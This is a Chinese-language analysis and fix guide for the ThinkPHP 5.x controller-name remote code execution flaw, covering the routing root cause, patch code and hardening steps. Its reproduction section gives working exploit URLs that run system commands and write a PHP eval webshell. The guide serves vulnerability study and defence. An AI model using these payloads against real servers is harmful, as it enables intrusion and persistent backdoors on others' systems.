Thinkphp5-x远程代码执行 漏洞分析
字数 925 2025-08-18 11:38:52
ThinkPHP5.x 远程代码执行漏洞分析与防护指南
漏洞背景
ThinkPHP官方发布安全更新,修复了一个重大安全漏洞。该漏洞由于框架对控制器名没有进行足够的检测,导致在未开启强制路由的情况下可能引发getshell漏洞。影响范围包括:
- ThinkPHP 5.0.x < 5.0.23
- ThinkPHP 5.1.x < 5.1.31
漏洞原理分析
漏洞触发流程
-
路由检查过程:
- 进入
self::routeCheck函数进行路由检查 - 调用
$request->path()函数 - 进入
$this->pathinfo()函数 Config::get('var_pathinfo')默认值为s,从GET参数获取路由信息
- 进入
-
关键问题点:
- 路由检测失败且未开启强制路由时,进入
Route::parseUrl函数 parseUrlPath函数使用/分割URL但未进行任何过滤- 攻击者可控制
$_GET['s']参数传递恶意路由信息
- 路由检测失败且未开启强制路由时,进入
漏洞利用方式
攻击者可通过构造特殊URL实现:
- 利用反射类调用命名空间中的任意内置类
- 完成远程代码执行(RCE)
漏洞复现方法
1. 远程命令执行
http://localhost/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2. 查看PHP信息
http://localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
3. 写入Webshell
http://localhost/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Etest.php
修复方案
1. 官方升级方案
使用composer安装的用户:
composer update topthink/framework
使用git版本库安装的用户:
更新到最新版本仓库
2. 手动修复方案
针对5.0版本:
在think\App类的module方法中,获取控制器的代码后添加:
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
针对5.1版本:
在think\route\dispatch\Url类的parseUrl方法中,解析控制器后添加:
if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
防护建议
-
立即升级到安全版本:
- ThinkPHP 5.0.23 或更高版本
- ThinkPHP 5.1.31 或更高版本
-
若无法立即升级,实施手动修复方案
-
在生产环境中开启强制路由配置
-
定期检查服务器日志,监测可疑请求
-
限制框架目录的写权限,特别是runtime目录
参考资源
- ThinkPHP官方公告:https://blog.thinkphp.cn/869075
- Tide安全团队官网:http://www.TideSec.net